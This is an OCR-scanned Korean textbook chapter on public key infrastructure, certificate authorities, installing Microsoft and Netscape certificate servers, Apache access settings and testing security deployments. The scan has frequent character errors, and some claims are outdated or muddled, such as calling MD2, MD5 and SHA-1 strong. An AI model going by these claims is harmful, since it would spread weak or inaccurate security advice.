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그림 11-9. 증명서에 포함되는 일반적인 정보 












응용프로그람개발자들, Web 체계관리자들， IT 관리자들이 필요한 보안을 봉사 받을 
수 있도록 Web 체계들이나 응용프로그람들에서 증명서의 리용에 정통하면 좋은 점들이 
많을것 이 다. 증명서가 Web 보안과 관련하여 만능의 무기 라고 말할수 없다는것을 강조해 
둔다. 그러 나 이것은 Web 투자 ( investment ) 를 보호하기 위한 많은 방법들중의 한가지 
방법 이 다. 



그림 11-10. 구체적인 증명서정보 

제 3 절. PKI 의 기초복습 


PKI 는 오늘 인터 네트협회 ( community ) 에서 더 욱더 유용성 이 확고해 지는 보안방법 
이다. PKI 는 인터네트와 같은 공공매체상에서 Web 실체들사이의 정보교환을 개별적으로 
안전하게 하기 위한 수단으로 되고 있다. PKI 는 두 체계사이에 자료교환을 보안할수 있 
게 하기 위 하여 공개열 쇠암호화를 리 용하고 있 다. 

PKI 가 리용하는 암호화방법에서는 보안통신을 요구하는 다른 체계들에 공개열쇠를 
배포하고 한쪽 체계에서는 엄밀히 차이나는 비공개열쇠에 대한 비밀을 지키거나 숨기도 
륵 한다. 이러한 형태의 암호화는 두 암호화열쇠들이 자유롭게 배포되지 못하기때문에 
비대 칭암호화라고 불리운다. 비공개열쇠는 항상 안전하게 보관되 여 야 하지만 공개열쇠는 
그렇지 않다. 

PKI 에 기초하여 통신을 보안하기 위한 단계는 다음과 같다(그림 11-11 에 화살부호 
로 지적 하였다). 

① Web 봉사기 묘와 통신하려고 하는 를퓨터 A 는 어떤 URL 을 호출하여 봉사기에 
접속한다. 
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'._, Web 봉사기는 이에 대한 응답으로 콤퓨터에 비공개열쇠쌍중에서 공개열쇠를 전 
송한다. 그러면 를퓨터는 봉사기에 전송할 자료를 암호화하기 위하여 공개열쇠 
를 리용하여 안전하게 통신할수 있다. 

燥| 를퓨터 는 봉사기 에 봉사기 의 공개열쇠 로 암호화된 자료를 넘 긴다. 

④ 봉사기는 통보문을 복호하고 콤퓨터 에 대한 응답을 암호화하기 위하여 자기의 
비공개열쇠를 리용한다. 



PKI 에 기초한 보안은 PKI 를 리용하는 임의의 응용프로그람이 인증과 권한，비거부 
봉사들을 확고히 제공할수 있게 한다. PKI 기초의 보안은 수자증명서와 수자서명을 리용 
한 호출，신분，권한을 줄수 있다. 이것은 안전한 인터네트열쇠교환방법에서 와 같이 사 
용자이름들과 암호들 지 어는 미 리 공유된 비밀을 넘겨 야 할 필요성을 없애 버린다. 총체 
적으로 PKI 는 기회를 노리는 해커가 암호나 비밀을 포착할수 없게 한다. 지어 누가 
PKI 가능한 대 화조종에 서 전송된 자료를 가로채 서 포착하였 다고 하여 도 공개열쇠 나 비 공 
개열쇠 중의 어 느 하나가 없으면 그것 을 복호화할수 없고 자기 가 요구하는 의 도대 로 통보 
문을 만들수 없 다. PKI 가 유용성 이 크기 때 문에 보안제 품판매자들은 자기 들의 제 품에 서 
PKI 를 지원하도록 한다. 

PKI 는 계층구조로 실현된다. 암호화열쇠들은 증명서 나 Cookies 와 같은데 공동으로 
분포된 다. 이 증명 서 들은 증명 서발급기 관이 라는 봉사기 에 서 발행 되 고 관리 된 다. CA 는 
계 층의 뿌리 나 증명 서경 로의 뿌리 에 자리 잡고 있 으며 뿌리 ◦쇼라고 불리 운다. 뿌리 
CA 는 관리를，다른 증명서봉사들에 대한 증명서의 유효성평가는 종속 ( subOTdinate)CA 
에 위임된다. 뿌리 CA 는 종속◦쇼들에 대한 종속 CA 증명서들을 발행한다. 이 증명서들 
은 종속봉사기들에 권한을 주고 의뢰기증명서들을 유효하게 하는 권한을 준다. 

증명서들을 가진 모든 봉사기 와 의뢰기 들은 신용하는 뿌리 ◦쇼의 목록을 가지 고 
있다. 목록에 있는 ◦쇼들을 신용하는 뿌리 CA (trusted root CA ) 들이라고 불리운다. 
이러한 관계로부터 뿌리 CA 든 아니든 이 목록상에 없는 모든 ◦쇼들은 본질적으로는 
신용하는 뿌리◦쇼들에 대 한 종속 ◦쇼들이 다. 이 러한 수법은 증명서내에 포함된 정보를 
발행한 뿌리 CA 에 로의 증명 서경 로를 거 꾸로 추적할수 있으며 신용하는 뿌리 CA 로 반 
대로 돌아 갈수 있기때문에 우월한 평가방법으로 된다. 그림 11-12 는 인증의 계층도를 
보여 준 다. 

증명 서 발급기 관들은 또한 증명 서 취 소목록 (Certificate Revocation Lists : CRLs ) 들을 
가지고 있는데 여기에는 증명서의 거절 혹은 거부목록이 포함된다. 
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이러한 증명서들은 개별적으로，조직적으로 혹은 특별한 체계의 일부 방책들의 위반 
에 대한 어떤 체계에로의 호출을 무시되게 하는 콤퓨터들이 소유하게 된다. CRL 은 취 
소된 증명서와 취소한 날자，취소된 원인을 포함할수 있다. 

임의의 형태의 CA 목록들은 보통 어떤 자료기지의 형태로 기록된다. 더 많이 리용되 
는 증명서관리봉사들의 실현은 LDAP 등록부와 갈은 등록부의 형 태를 리용한다. 신용하 
는 CA 목록들， CRL 과 증명서요청목록들은 이 자료기지에 기록된다. 지금까지 우리는 
공개열 쇠암호화체 계 의 구성 요소들을 론의하였 다. 

이제는 실지 실행세 계 인 증명서관리체 계 로 넘 어 가자. 

1. 증명서봉사 

증명 서봉사는 흔히 PKI 의 실현이 다. 증명 서봉사는 기 본적 으로 증명 서 를 발행 하고 
재 생 하고 취 소하게 하는 ◦쇼에 포함된 봉사기 구이 다. 증명 서 들은 PJCI 체 계 를 리용하여 
안전하게 통신할 필요가 있는 콤퓨터 체 계 들에 공개열쇠 를 넘 겨 주는데 리 용된다. 인터 네 
트응용프로그람시 장에서 증명서의 중요성 과 우월성 을 인식한 많은 판매 자들은 만능증명 
서 관리 체 계 들을 개 발하였 다. 그들은 자기 의 상표가 붙은 증명 서 관리 체 계 들을 개 발하였 을 
뿐아니 라 보안장치 들과 결 합하여 자기 제 품을 제 공하기 위하여 망보안판매 자들과 합동하 
였다(실례로 VeriSign 과 Netscreen Technologies 주식회사). 이러한 협동은 판매자들 
이 주문자들에게 더 완전한 교차령역보안해결책을 제공할수 있게 하였다. 이것은 구매자 
들이 자기들의 Web 응용프로그람기반을 보안하기 위한 계획을 찾을수 있게 하였다. 또 
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한 판매자들이 자기의 제품에 주목을 돌릴수 있게 하고 광고판매를 실현할수 있게 하였 
다. 즉 주문자와 관매자가 다 거래에서 만족을 느끼게 된다. 

이 장에 서 우리 는 인 터 네 트응용프로그람판매 자들이 개 발한 증명 서 관리 체 계 들인 
Microsoft 와 Netscape/iPlanet 에 대하여 본다. 우리는 간단히 그의 구성요소들에 대 해 
론의하고 그의 기능이 무엇이고 다른것에 비한 우점과 결함은 무엇인가에 대하여 론의한 
다. 이 체계의 실현에 대한 선택은 독자들에게 맡긴다. 

증명 서봉사는 인 터네 트정 보봉사 ( IIS ) 의 부분품로서 Windows NT Option Pack 
에 있는 Microsoft Information Server 4.0 에 서 소개 되 였 다. Microsoft 는 초기 에 
PKI 를 인 터네 트와 개 별망상에 서 보안의 또 다른 준위 인 증명 서봉사와 인증을 통합하 
려고 시도하였다. 

Windows 2000 증명 서 봉사에 서 는 4가지 규격 화된 증명 서양식 을 제 공한다. 즉 개 인정 
보교환 또는 공개열쇠암호화규칙 #12 (PKCS #12) 양식，암호통보문문법규칙，2진 X .509 
로 암호화된 DER , X .509 양식으로 암호화된 Base 64 들이 다. 이러한 양식들에 의 하여 
Windows 2000 증명서봉사응용프로그람은 종래의 Windows 들로부터 Unix 에 이르는 다양 
한 가동환경들을 지원할수 있게 되였다. PKI 와 증명서의 세계에서는 여전히 Windows 
가 아닌 환경 이 많이 지배한다. 


2. Sun / Netscape 에 의한 iPlant 


iPlanet 제 품들은 Sun 과 Netscape 가 협 력 하여 개 발한 인 터 네 트응용프로그람봉사들 
에 Netscape 통신회 사의 제 품상표를 단것 이 다. Netscape 증명 서 관리 봉사와 iPlanet 증명 
서관리체계는 같은것이다. 이제부터 그것을 CMS 라고 하겠다. 

Netscape 와 Sun 은 현재 시장에서 가장 확고히 리용되는 암호화와 인증에 대한 방 
법 들을 CMS 에 서 리용하도록 설계하였 다. CMS 에 서 는 암호열쇠 길 이 가 최 대 4096 bit 인 
암호열쇠를 만들수 있다. 여기서는 MD 2 와 MD 5 ， SHA -1 과 CMS 를 쌍으로 하여 강한 
인증알고리 듬을 리 용하는데 이것 은 Web 응용프로그람을 보안하기 위한 우수한 기 반구조 
로 되고 있다. 


제 4 절. 안전한 Web 응용프로그람에로의 PKI 의 리용 


Web 응용프로그람을 보안하기 위한 방법 들에 서 왜 PKI 를 리 용하는가 하는 질 문은 
자주 제기될수 있다. 공개열쇠암호화는 지금까지 몇해동안 인증，자료암호화와 체계호출 
에 대한 권한을 얻기 위한 체계들에 리용되고 있다. 지난 2〜3년간 Web 싸이트와 응용프 
로그람들에 대한 계속되는 공격으로 하여 공업에서는 체계와 응용프로그람보안에 중점을 
두기 시작하였다. 

또 다른 리 유는 PKI 가 Web 상에 서 Web 응용프로그람들과 체 계 들을 보안하기 위 한 
빠르고 능률적 인 방법 이 라는것 이 다. 리 용된 암호화알고리 듬과 인증을 위 한 하쉬 알고리 듬 
은 더 빠르며 그것들중에서 가장 낡은것도 사용자이름과 암호에 의한 단순한 보안보다 
보안을 더 잘한다. 

PKI 는 동시 에 한개 이상의 응용프로그람들을 보안하는데 리용할수 있다. 공개열쇠 
가 있는 증명서는 사용자에게 안전한 전자우편을 리용할 권한과 전자상업 Web 싸이트상 
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에 서 페 지 를 안전 하게 호출할수 있 는 권 한，암호화된 자료를 가상개 별 망 (virtual 
private network:VPN) 을 통하여 인터네트상으로 전송할수 있는 권한을 준다. 대체로 
PKI 는 Web 응용프로그람보안을 위해 가장 좋은 방법 이 라고 볼수 있 다. 그림 11-13 은 
Web 응용프로그람을 보안하기 위해 PKI 를 리용하는 개념을 보여 주었다. 



그림 11-13. Web 응용프로그람의 보호 


제 5 절. Web 하부구조에서 PKI 의 실현 


이 절에서는 먼저 Windows 2000 에서 Microsoft 의 증명서봉사와 Netseape 의 증명 
서관리체계에 대하여 소개한다. 이 체계의 설치와 구성을 깊이 있게 고찰하면 그것들이 
Web 응용프로그람기반을 보안하는데 도움이 된다는것을 알게 될것이다. 

먼저 Windows 2000 server 에 대한 Microsoft 증명서봉사기의 설치와 구성에 대하 
여 보고 다음 Netscape 증명서 봉사기에 대하여 본다. 이를 통하여 이 두 응용프로그람생 
산회사들이 보안을 어떻게 측정하며 보안을 제공하는 응용프로그람을 어떻게 실행하는가 
하는 실천적 인 정보들을 얻게 된다. 


1. Microsoft 의 증명서봉사 


Microsoft Certificate Servioes 는 보충적 인 부분품로서 Windows 2000 Server 와 Advanced 
Server 에 포함되여 있다. 먼저 설치과정부터 보고 다음에 ◦쇼의 구성과 증명서관리에 대해 본 
다. 또한 증명서의 요청, 증명서의 취소，여러 목적에 쓰이는 증명서의 발행이 어떻게 진행되 
는가를 본다. Windows 2000 Server 에 대한 Cetificate Services 의 설 치 과정 을 보자. 
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⑩ Windows 2000 Server 상에서 Start / Settings/Control Panel 을 찰칵하시오. 

邊} Control Panel 에서 Add/Remove Programs 를 찰칵하시오. 

③ Add/Remove Windows Components 을 찰칵하시 오. 

沒! 5 Windows Components 위 자드에 서 CertificateServices 를 선택 하고 Next 를 찰 
칵하시오. 

⑤ 설 치하려는 봉사기의 형 태를 선택 하시오. 우리는 Stand-Alone root CA 를 리 
용한다(그림 11-14). Next 를 찰칵하시오. 

© 요구하는 CA 식별정보를 입력시키고 Next 를 누른 다음 설치를 끝내기 위해 
Finish 를 찰칵하시오. 증명서봉사가 끝난다. 



그림 11-14. 증명서의 권한형태에 대한 선택 


이렇게 하면 증명서봉사가 성과적으로 설치된다. 증명서관리를 어떻게 진행하는가에 
대하여 보자. 

증명서들은 Microsoft Management Console Certificates snap-in 을 통하여 관리 
된다. Certificate Services 를 관리하기 위해 요구되는 차림표들과 도구들을 아주 쉽게 
호출할수 있다. 

，③ Start/Run 을 찰 칵 하 고 Open 항 목 에 mmc 라 고 입 력 하 여 Microsoft 
Management Console 을 시 작한다. 그림 11-15 에서 보여 준 빈 Console 창 이 
나타난다. 

運) Add/Remove Snap-in 창 문 을 호 출 하 기 위 하 여 Colsole 차 림 표 의 
Add/Remove Snap-in 을 찰칵하시오. 

③ Add 를 찰칵하고 그림 11-16 에서 보여 준 snap-ins 목록에서 Certificates 를 
선택 하시오. 

© MMC 에 Snap-in 을 배 치 하기 위 하여 Add 를 찰칵하시오. 
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그림 11-15. 빈 MMC Console 창 



그림 11-16. Add Suap - in 화면 


Console 이 적재된 다음에는 Certificate Server 를 리용하여 증명서의 요청，취소목 
륵，증명서의 발행과 같은 관리를 할수 있다. Microsoft 에서는 체계의 관리가 아주 쉽 
게 창조되는것처럼 보인다. 즉 의뢰기들은 증명서봉사기에 요청을 보내는데 이 요청은 
검 사된후에 처 리 되 여 증명 서 가 발행 되 든가 요청 이 거 부되 든가 한다. 

의뢰기 들은 자기의 증명서 MMC Snap - in 을 통해서 나 사용자가 Windows 2000 
Active Directory 의 부분이 면 자동기록방법 으로 그림 11-17 에 보여 준것 처 럼 Web 형 식 
으로 증명 서 를 요청할수 있 다. 
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그림 11-17. Certificate 요청 Web 폐 지 


증명서요청이 처리되면 증명서가 발행되여 송신되며 의뢰기는 자기 증명서를 받아 
설치한다. 증명서권한은 그림 11-18 에 보여 준것처럼 승인되여 발행된 증명서의 종류별 
로 그것들을 자료기지에 있는 등록부에 보관할수 있다. 



그림 11-18. CA MMC Snap - in 에 있는 발행된 증명서의 기록 


그림 11-18 에서 보여 준마와 같이 취소된 증명서들，지금 유효한 증명서를, 실패된 
증명서 요청 들이 ◦쇼에 의해 기 록되 여 있다. 이 것은 CA 가 자기의 수명기 간의 모든 단계 
들에서 증명서들을 인식할수 있게 하여 준다. 이러한 방법의 중요한 우점은 취소되거나 
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수명 이 지난 증명 서 들을 리 용하여 응용프로그람이 나 Web 싸이 트에 접 근하려 는 해 커 들의 
시도를 거부한다는것 이 다. 

왜냐하면 이것을 리용하여 해커들의 증명서가 유효한가 유효하지 않은가를 알수 있기 
때문이다. Certificate Services 는 어떤 원인으로 무효하게 되는 증명서들을 Certificate 
Revoca 仕 on 목록에 반영하는것으로써 취소할수 있다. 증명서취소위자드는 증명서와 관련 
한 특별한 리유나 몇 가지 오유들로 하여 증명서를 취소하려는 작업을 도와 주게 된다. 

Microsoft Certificate Services 는 Netscape 의 CMS 보다도 구성 이 더 단순하지 만 
증명 서관리 기 능이 더 풍부하며 LDAP , S / MIME , SSL , HTTPS , Microsoft 의 파일암 
호화봉사 (Encrypting File Service ) 와 호환할수 있다. 

2. Netscape 증명서봉사 

1990년대 초에 Netscape 는 가장 인기 있는 Web 쏘프트웨 어 꾸레 미 들을 작성 하여 명 
성 을 떨쳤다. Netscape Navigator Web 열 람기 는 한장의 플로피 디스크에 충분히 잡을수 
있을만큼 작았지 만 폭발적 으로 콤퓨터세 계 를 장악하였 다. 이 것은 대 학콤퓨터실험 실 에 있 
는 Unix 말단 등의 일 부 Web 싸이 트본문만을 읽 을수 있 게 한 유명 한 열 람기 보다 더 훌 
륭하여 인터네 트의 인기 가 높아 지 게 하였 다. Netscape 의 응용프로그람들은 그때 부터 
번창하였지만 시련도 겪으면서 발전하였다. 

Netscape/iPlanet 증명서관리체계는 증명서에 기초한 보안을 리용할 대신 Windows 
에 기초한 보안을 리용하였다. 우선 그것을 리용하기전에 CMS 를 설치하여 야 한다. 그 
래야 다음의 조작을 실행해 나갈수 있다. 

Netscape 증명 서 관리봉사기 는 Netscape Server 제 품에 속하는것 이 므로 한개 그룹 
으로 Netscape Servers 를 설치해야 한다. 


1 ) Netscape Certificate Server 의 설치 

③ Start 을 찰칵하고 Run 을 선택하시 오. 

邊) Browse 를 찰칵하고 Setup.exe 파일의 위치를 지적하시오. 

③ 설치를 시작하려면 OK 를 찰칵하시오. 설치화면이 나타난다. 

4) 봉사기설치화면이 나타날 때까지 Next 를 찰칵하시오. 설치를 위하여 Netscape 
Servers 를 선택하고 Next 를 찰칵하시오. 

© 다음화면을 수행하게 될 봉사기설치의 형태를 지적할 기회를 준다. 즉 Express , 
Typical , Custom 이였다. Express 를 선택하고 Next 를 찰칵하시오. 

⑥ 그림 11-19 에 보여 준것 처 럼 이 화면은 설 치하려 는 부분품에 대 한 선택 화면 이 
다. 증명서관리체계에서는 모든 부분품들이 다 요구되 기때 문에 선택된 부분품 
들을 그대 로 두고 Next 를 찰칵하시오. 

• 다 음 의 화 면 에 서 Next 를 찰 칵 하 여 Configuration Directory Server 
Administra - tor 화면 이 펼 쳐 지 게 하시 오. Diretory Server Administrator 
등록자리 ( account ) 용통과암호를 입력시키고 다시 확인하시오. 이 암호는 최소 
한 8문자여 야 한다. Next 를 찰칵하시오. 

_ 다음 화면에 서 관리 자령역 을 정 의하게 한다. 관리 자령 역이 름을 입 력 시 키 고 
Next 로 찰칵하여 구성화면을 펼치시오. 

⑨ 설치를 확인하면서 몇개의 화면을 Next 로 넘긴 다음 설치를 완료한다. 
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그림 11-19. 봉사기부분품 선택화면 


다음은 Netscape 봉사기들을 구성 한다. 봉사기들의 구성 에서 첫 단계는 CA 증명서들 
과 의뢰기들을 적당히 수표하고 의뢰기들을 인증하기 위하여 봉사기가 요구하는 다른 증 
명 서 들을 발행하는것 이 다. 

① CMS 포구를 지적하여 시 작하는 구성과정은 그림 11-20 에서 보여 준것처 럼 SSL 
에 의하여 리용된다. 이 화면에서 처리를 계속 하려면 Next 를 찰칵하시오. 



그림 11-20. SSL 포구구성 


© 다음에 증명 서 요청 을 서 명하려 고 하는 ◦쇼를 결 정한다. 보통 이 요구는 잘 알 
려 진 신용하는 뿌리 ◦쇼를 리 용하여 구성 되 여 야 하지 만 우리 의 목적 을 위하여 
그림 11-21 에서 보여 준것처럼 봉사기가 자체로 선택하게 한다. 


346 




















③ 다음 열쇠쌍을 위한 암호가 만들어 져야 하며 열쇠길이가 지적되여야 한다. 열 
쇠가 길수록 열쇠쌍모임이 더 좋아 진다. 열쇠길이를 지적한 다음 Next 를 찰 
칵하시 오 (그림 11-22). 인증을 위한 하쉬알고리 듬을 선택 하기 위하여 Next 를 
찰칵한다. 기 정알고리 듬은 SHA 1 이 다. 기 정 항목을 접 수하여 계 속 하려 면 Next 
를 찰칵하시오. 

④ 증명서 확장화면은 예 발행 하고 서명할수 있는 증명서의 형 태를 선택하게 한 
다. 그림 11-23 에 보여 준것 처 럼 우리의 목적 에 어울리는 형 태를 선택한다. 
Next 를 찰칵하시오. 



그림 11-21. 증명서서 명 을 위한 CA 의 선택 
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그림 11-22. 암호 ToKen , 열쇠형과 열쇠길이의 선택 
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그림 11-23. CA 가 서 명 하고 발행할수 있는 증명 서 확장의 선택 


증명서 에 서 명하려 는 CA 를 다시 요구한다. 우리 자체 의 ◦쇼를 리용하기 로 하 
였기때문에 Sign SSL Certificate with my CA Signing Certificate 를 선택 
한다(그림 11-24). 그다음 간단한 서명암호화면을 펼치 기 위하여 Next 를 찰 
칵한다. 



그림 11-24. SSL 봉사기증명서서명 


Single sign-on 암호화면이 요구되는 마당에서 최소한 8문자길이의 암호를 입 
력시 키고 다시 확정한다(그림 11-25). 구성 을 끝마치 기 위하여 Next 를 두번 
찰 칵 한 다 . 그 다 음 Administrator/Agent 증 명 서 를 요 청 하 기 위 하 여 
Administration SSLWeb 페지 에 로 갈수 있다. 기본구성은 끝난다. 














그림 11-25. Single Sign-On Password 창조 


2) Netscape CMS 의 관리 

Netscape CMS 관리 는 일 반적 으로 다음의 6 가지 과제들을 수행 한다. 

• 봉사기의 시작，정지，재시동 

• 구성의 변화 

• 증명서발행과 관리 방법의 구성 

• 사용자의 우선권과 그룹정보의 추가 및 변경 

• 봉사기의 봉사를 요구할수 있는 사용자에 대한 인증기구들의 설치 

• 기록파일 ( log ) 들의 감시와 봉사기 자료의 여 벌파일과 같은 봉사기관리과제 
루린의 수행 

봉사기에서 이러 한 과제들을 어데 에서 수행하는를 보자. 이러한 과제들의 대부분은 
CMS 창문의 3개 의 표쪽들중의 한개 에서 수행 된다. CMS 는 창문관리 와 증명서관리 를 쉽 
게 할수 있도록 Java 에 기초한 GUI 로 설계되였다. 그림 11-26 은 CMS 창문의 첫번째 표 
쪽인 Task 표쪽의 내용을 보여 준다. 



그림 11-26. CMS Task Tab 
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Task 표쪽은 CMS 를 시 작하고 정 지하며 재 시 동하게 한다. 또한 증명 서 를 창조하고 
등록하게 한다. 그럼 Configuration 표쪽에 대 하여 보자. Configura 吐 on 표쪽에 의해서 
CMS 의 대부분의 관리과제들이 수행된다. 

Configuration 표쪽에서는 사용자들과 그룹들의 창조, 인증의 설치, 증명서처리작업 
의 계 획화, 증명서의 취소, 대 책 (policy) 의 요청과 배 포, SMTP 전자우편의 구성 , 암호 
의 구성，공개한 CRL 관리 의 계 획 화를 할수 있 다(그림 11-27). 



그림 11-27. CMS Configura 仕 on 표쪽 


CMS 상태 표쪽는 봉사기 에 대 한 기 록파일 (log) 을 검 사한다(그림 11-28). 

여 기 서 우리 는 증명 서 만들기 의 실 패 와 성 공，증명 서 요청 과 발행 , 봉사수행 과정 에 대 
하여 볼수 있다. 
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그림 11-28. CMS status 표쪽 




































3. Apache 봉사기용 PKI 

Apache 봉사기는 실행되고 있는 모든 Web 봉사기들가운데서 60%이상을 차지하는 세 
계적으로 가장 널리 리용되는 Web 봉사기들이다. 이 러한 리유로 하여 Apache 봉사기 에 
대 한 보안은 매우 중요한 문제 로 된다. Apache Web 봉사기 에 PKI 를 잘 구성 하여 놓으 
면 봉사기가 어느때든지 임의의 해커에도 끄떡 없게 할수 있다. 

PJCI 에 대 하여 설명 하기 전에 Apache 봉사기 보안에 대 하여 좀 더 론의 하자. 우선 
Apache 봉사기는 우리가 바라지 않는 봉사에 대한 모든 요청 이 나 호출들을 거부하는 기 
정 보안위치 로 구성하여 야 한다. 이 봉사기 에 서 PKI 를 리 용하기 때 문에 그것 을 지 원하는 
SSL 규약이 필요하다. 또한 우리는 접근조종목록과 같은데서 수정이나 개선하기 쉬운 방 
법 으로 사용자호출을 정 의할것 을 요구한다. 아래 에 보여 준 Apache 봉사기 의 
access.conf 파일에 의한 구성실례는 강한 보안설치에 대한 기본내용을 보여 준다. 처음 
의 두개의 행들은 봉사기 에 대 한 모든 호출을 거부한다. 다음의 3개 행은 공동등록부에 
대하여서만 호출할수 있게 한다. 


〈Directory / usr / local / server / share > 

Deny from all 
AllowOverride None 
〈/ Directory 〉 

〈Directory / usr / local / server / share / public > 

Allow fromall 

</ Drectory > 


Allow (허용)와 Deny (무시)지령은 TCP/IP 주소，망번호，망번호와 부분망마스크의 
조합으로 정의된 host 들의 범위에 따라 동작한다. Apache 봉사기는 또한 등록자리목록 
의 방법 으로 호출을 정 의할수 있 다. 

Apache 봉사기는 공격 으로부터 자기의 Web site 를 보안하기 위 해 SSL 을 리 용할수 
있 다. SSL 은 암호화와 인증처 리 에 대 표적 인 RSA 알고리 듬을 리용한다. 그러 나 Apache 
worldwide 상에서 SSL 의 리 용을 승인하는 리 용허가 ( licensing ) 를 가진 최소한 두가지 
상업적 SSL 봉사기는 물론 미국외에도 안전한 SSL 배포물들이 있다. 

Apache-SSL 과 Mod_ssl 은 현재 리용할수 있는 Apache Web 봉사기 에서 가장 보편 
적 인 공개 쏘프트웨 어 SSL 봉사기 들이다. 이 두 봉사기 들은 자기 들을 파생 하고 설 치 하는 
◦penSSL 서고에 객체들을 콤파일하여 련결하기전에 Apache 배포물들에 자기의 모둘들 
을 추가하여 설치된다. 우의 두 봉사기들은 128 bit 의 강한 암호를 실현할수 있게 한다. 
상업적인 허가를 받은 SSL 제품들은 C 2 NetSoftware 과 iPlanet 의 Web Server 
Enterprise 판부터 견고한 요새 로 되 였 다. iPlanet 쏘프트웨 어 는 WindowsNT 나 Unix 에 
대하여 SSL 능력을 가진 기능이 높은 Web 봉사기이다. 이러한 제품들은 Apache 의 모둘 
방식의 우점을 가지고 있는데 이것은 개발자들이 Apache 에 대한 자기의 모둘들을 쉽게 
만들수 있게 한다. 

항상 주의 하여 완벽 하게 구성 한 Apache 봉사기 용 SSL 은 우리 에 게 가장 좋은 보호방 
식을 준다. 
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4. PKI 와 보안쏘프트웨어개발도구 

오늘 시장의 많은 도구들이 응용프로그람의 보안실현과 보안개발을 지원하고 있다. 
보안개발도구 ( Tooimt ) 들은 통합이 쉽고 개발을 빨리 할수 있게 하며 응용프로그람들이 
보안이 잘되게 한다. 실례로 Phaos Technology 의 제품들은 PKI 를 위한 Java 기초의 
보안부분품들, 암호화와 규약도구들, 무선보안 ( wireless ) 과 보안통보문들을 제공한다. 

SSLava Toolkit 는 의뢰 기 와 봉사기의 인증을 위 해 SSL 과 전송층보안 (Transport 
Layer Securigy : TLS ) 규약을 리용한다(봉사기는 의뢰기에 의해 인증되며 게다가 거래 
인들에게 담보를 더 주기 위해 사용자도 인증된다). 

Centrius PKI Toolkit 는 다른 판매 자들과 CA 들과의 호상작용을 위 해 PKCS 와 
PKIX 의 열린규격 들을 지 원한다. 또한 증명 서취소，생성의 포함，분석 과 페 지목록의 
I 八)에 대 하여 완벽하게 지 원한다. 

S/MIME 개 발도구는 Netscape Messenger 나 Microsoff Outlook 와 같은 서 로 다 
른 S/MIME 호환제 품들과 관련한 리용을 담보하는데 이것은 Java 개 발자들이 자기 의 
Java 응용프로그람이나 applet 들에 S/MIME 능력을 구축할수 있게 해준다. 또한 인터네 
트상에서 Electronic Data Interchange ( EDI : 전자자료교환)을 리용할수 있게 해준다. 

J 八: A 개발도구 ( Toolkit ) 는 임의의 응용프로그람이 증명서의 발행，분석, 보호, 유 
효성판정외에도 보증권환에 대한 조작을 할수 있게 한다. 

더 구체적 인 내용은 www . Phaos . com 을 보시오. PKI-Plus 와 Baltimore 
Tochnolgies 의 UniCERT , RSA Keon , Xcert Senty (최근에 RSA 에 흡수되 였다.)를 
포함한 제품계렬과 다른 PKI 개발도구들은 www . Security watch , com 에 서 찾아 보시오. 


제 6 절. 보안실현의 시험 


보안문제의 해결을 위해 계획을 작성하고 개발하고 실행하는데 여러 날，여러 주 걸 
린다. 이 모든 작업들이 얼마나 가치가 있는가를 어떻게 알겠는가? 그것을 검사해 보시 
오. 이 절에서는 보안문제후보자들 매개의 설치，구성, 관리과정을 배운 다음에도 왜 검 
사하는것이 중요한가를 처음부터 마지막까지 보려고 한다. 또한 우리의 실현을 검사하는 
여 러가지 방법들과 보안실현의 결과가 무엇을 말해 주는가를 보려고 한다. 

망이나 응용프로그람기반에서 작성되는 기본적인 변화들의 첫째가는 규칙은 이러한 
변화들을 자기의 제품망에서 작성 할수 없다는것 이 다. 모든 실현들은 가능한껏 자기의 제 
품환경과 동일한 검사환경에서 수행되여야 한다. 검사환경 이 실제환경과 더욱 가까울수 
록 제품환경이 더 잘 반영되며 검사결과도 더 정확하고 제품실현이 더 성과적으로 실현 
될것이다. 일부 망관리자들， Web 주인들과 체계관리자들은 말썽이 생기지 않을 정도에 
서 검사환경을 제품환경과 다른 방법으로 취한다. 이러한 규칙을 어기면 수명이 줄어 드 
는것 이 다 . 

존재하는 환경 에 서 변화들이 적 다고 하여 도 우선 그것 을 검 사하는것 이 가장 좋다. 
어느 한 단체가 자기의 전자상업싸이트에 보안을 추가하기 위해 증명서를 리용하려고 하 
였거 나 정 당한 사용자들을 식별하기 위해 cookie 를 리용하려고 하였다고 하자. 부하균 
형 ( load - balance ) 다중 Web 봉사기 방식 을 리 용한 단체 는 자기 봉사기 림 ( farm ) 에 있 는 
매 봉사기마다 특정의 cookie 들을 만든다. 사용자가 처음으로 등록되여 증명서를 얻으 
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면 봉사기만이 그들과 직접 접촉할수 있다. 그러므로 사용자는 초기에 등록된후 몇번은 
바로 그 싸이트를 찾아 갈 때마다 모든 봉사기로부터 cookie 들을 얻을 때까지 재등록하 
여야 한다. 이것은 보안측정이 작업하는 명확한 방법들이 아니다. 이것은 처음에 등록한 
다음 고객들에게 자동인증과 권한，보안을 제공한다고 보기때문에 Web 상에서 보호되지 
않는 신용카드번호와 같은 개인정보들을 받아 들여 보관하지 말아야 한다. 

사람들은 매 번 정 보를 인위 적 으로 넣 어 두는것 을 보안위 험 으로 보기 때 문에 그러한 
싸이트를 방문하는 경우는 많지 않다. 보안실행의 검사과정은 대 단히 큰 과제 같지만 달 
성해 야 할 검사목표는 3가지 이 다. 

• 실행이 요구하는 결과를 주는가를 확증 

보안은 계획한대로 동작하여야 한다. 보안의 목표가 무엇 이든 보안이 만나게 되 
는것들을 확인해야 한다. 실례로 이 절의 앞에서 언급된 단체는 이은자리 
( seamless ) 를 찾고 보안을 호출하려고 하면 싸이트들과 개별적이 아닌 봉사기 
들을 취급하는 증명서를 발행 해 야 한다. 

• 기반이 안전하고 실현한후에 계속 잘 실행된다는것을 확인하시오. 

종종 이것은 가장 어려운 부분의 처리인데 실행에서의 오유들을 추적하여 없애 
버려야 한다. 

• 적당한 취소전략의 정의 

어떤 원인으로 하여 우리 실행에서 오유가 발생하거나 검사기간에 문제가 제기 
되든지 혹은 특별한 환경 에서 선택 한 해 결 ( solution ) 에 문제 가 제 기된다면 이 
미전의 작업구성 으로 재빨리 복귀하여 야 한다. 

시험방법들에는 성능시험, 기능시험，보안시험들이 포함되게 된다. 성능이 나 기능에 
대하여 시험해야 하는것은 임의의 환경에서 보안을 위해 추가된 내용이나 변화들이 자동 
적으로 그 환경에서 성능이나 기능에 영향을 줄수 있기때문이다. 새로운 보안의 영향은 
더 좋아 질수도 있고 나빠 질수도 있다. 리용된 보안방법에 따라 의뢰기나 봉사기의 인 
증과 자료암호화는 Web 응용프로그람의 성능을 떨굴수 있고 또한 전혀 성능에 영 향을 
